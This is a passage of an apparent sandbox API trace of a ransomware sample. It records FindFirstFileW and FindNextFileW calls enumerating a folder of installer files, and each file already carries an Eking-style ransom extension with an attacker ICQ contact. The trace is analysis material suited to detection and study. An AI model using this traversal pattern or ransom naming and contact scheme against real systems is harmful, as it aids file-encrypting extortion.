lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Graphics", cAlternateFileName="")) returned 1 [0213.025] GetProcessHeap () returned 0xc10000 [0213.025] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.025] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0213.028] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="..", cAlternateFileName="")) returned 1 [0213.028] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7f8d6b7, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7f8d6b7, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7fdaa25, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x572, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="Print.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PRINTI~1.EKI")) returned 1 [0213.028] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7fdaa25, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7fdaa25, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc80012e2, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="Rotate1.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="ROTATE~1.EKI")) returned 1 [0213.029] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7fdaa25, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7fdaa25, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc80012e2, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="Rotate2.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="ROTATE~2.EKI")) returned 1 [0213.029] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc80012e2, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc80012e2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc80012e2, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="Rotate3.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="ROTATE~3.EKI")) returned 1 [0213.029] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc802609f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc802609f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc8405d73, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="Rotate4.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="ROTATE~4.EKI")) returned 1 [0213.029] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc802609f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc802609f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc80724be, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="Rotate5.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="RO9365~1.EKI")) returned 1 [0213.029] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc80724be, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc80724be, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc80be95b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="Rotate6.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="ROD52B~1.EKI")) returned 1 [0213.029] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc80be95b, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc80be95b, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc826248c, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="Rotate7.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="ROFF0B~1.EKI")) returned 1 [0213.029] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc826248c, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc826248c, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc83225ae, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="Rotate8.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="ROB541~1.EKI")) returned 1 [0213.029] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc83225ae, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc83225ae, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc8d1cee6, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x572, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="Save.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SAVEIC~1.EKI")) returned 1 [0213.029] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a21eee, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc8a21eee, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc8d1cee6, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x9062, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="Setup.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPI~1.EKI")) returned 1 [0213.030] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d42ed3, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc8d42ed3, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc8dc0bb3, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x2892, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="stop.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="STOPIC~1.EKI")) returned 1 [0213.030] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d42ed3, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc8d42ed3, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc8d8f471, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x572, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SysReqMet.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SYSREQ~1.EKI")) returned 1 [0213.030] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d8f471, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc8d8f471, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc8e2846e, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x582, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SysReqNotMet.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SYSREQ~2.EKI")) returned 1 [0213.030] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8dc0bb3, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc8dc0bb3, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc901f0e6, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x2892, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="warn.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="WARNIC~1.EKI")) returned 1 [0213.030] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8dc0bb3, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc8dc0bb3, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc901f0e6, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x2892, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="warn.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="WARNIC~1.EKI")) returned 0 [0213.030] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0213.031] GetProcessHeap () returned 0xc10000 [0213.031] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.032] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8e2846e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc8e2846e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc9091963, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xf22, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="header.bmp.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="HEADER~1.EKI")) returned 1 [0213.032] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xcbe50b31, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xadd395d, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Core.mzz.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="NETFX_~1.EKI")) returned 1 [0213.032] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc9f5235c, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x290312, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Core_x64.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="NETFX_~2.EKI")) returned 1 [0213.033] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9f5235c, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc9f5235c, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xca92bf2b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x11c112, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Core_x86.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="NETFX_~3.EKI")) returned 1 [0213.033] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xce791297, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d9, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Extended.mzz.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="NETFX_~4.EKI")) returned 1 [0213.033] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc52b72e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcc52b72e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcd816707, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xd5112, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Extended_x64.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="NE0E92~1.EKI")) returned 1 [0213.033] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdbf198a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcdbf198a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcde2dc4a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x79112, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Extended_x86.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="NED758~1.EKI")) returned 1 [0213.033] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde53f85, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcde53f85, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcdea052e, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x427b2, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="ParameterInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PARAME~1.EKI")) returned 1 [0213.034] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdea052e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcdea052e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xce043f41, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x2d312, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="RGB9RAST_x64.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="RGB9RA~1.EKI")) returned 1 [0213.034] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce06a218, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xce06a218, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xce06a218, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x17312, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="RGB9Rast_x86.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="RGB9RA~2.EKI")) returned 1 [0213.034] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce06a218, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xce06a218, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xce1c159e, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13242, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Setup.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPE~1.EKI")) returned 1 [0213.034] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce1c159e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xce1c159e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xce77cb57, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SetupEngine.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPE~2.EKI")) returned 1 [0213.034] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcebcebc8, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcebcebc8, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcec2fd57, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x48252, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SetupUi.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPU~1.EKI")) returned 1 [0213.034] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf1c2fb2, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcf1c2fb2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf1c2fb2, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x76a2, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SetupUi.xsd.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPU~3.EKI")) returned 1 [0213.034] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf168b6b, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcf168b6b, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf19559b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x17862, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SetupUtility.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPU~2.EKI")) returned 1 [0213.034] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf19559b, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcf19559b, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf4156b0, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xa182, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SplashScreen.bmp.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SPLASH~1.EKI")) returned 1 [0213.034] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf1c2fb2, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcf1c2fb2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf48e5b4, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x23522, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="sqmapi.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SQMAPI~1.EKI")) returned 1 [0213.035] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf4156b0, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcf4156b0, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf43b8d4, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3802, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Strings.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="STRING~1.EKI")) returned 1 [0213.035] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf43b8d4, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcf43b8d4, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf464983, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x98f2, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="UiInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="UIINFO~1.EKI")) returned 1 [0213.035] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf464983, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcf464983, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf88de22, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x19782, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="watermark.bmp.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="WATERM~1.EKI")) returned 1 [0213.035] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0xcf867bdd, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x5b5245, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.0-KB956250-v6001-x64.msu.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="WINDOW~1.EKI")) returned 1 [0213.035] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0xd05f7098, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, 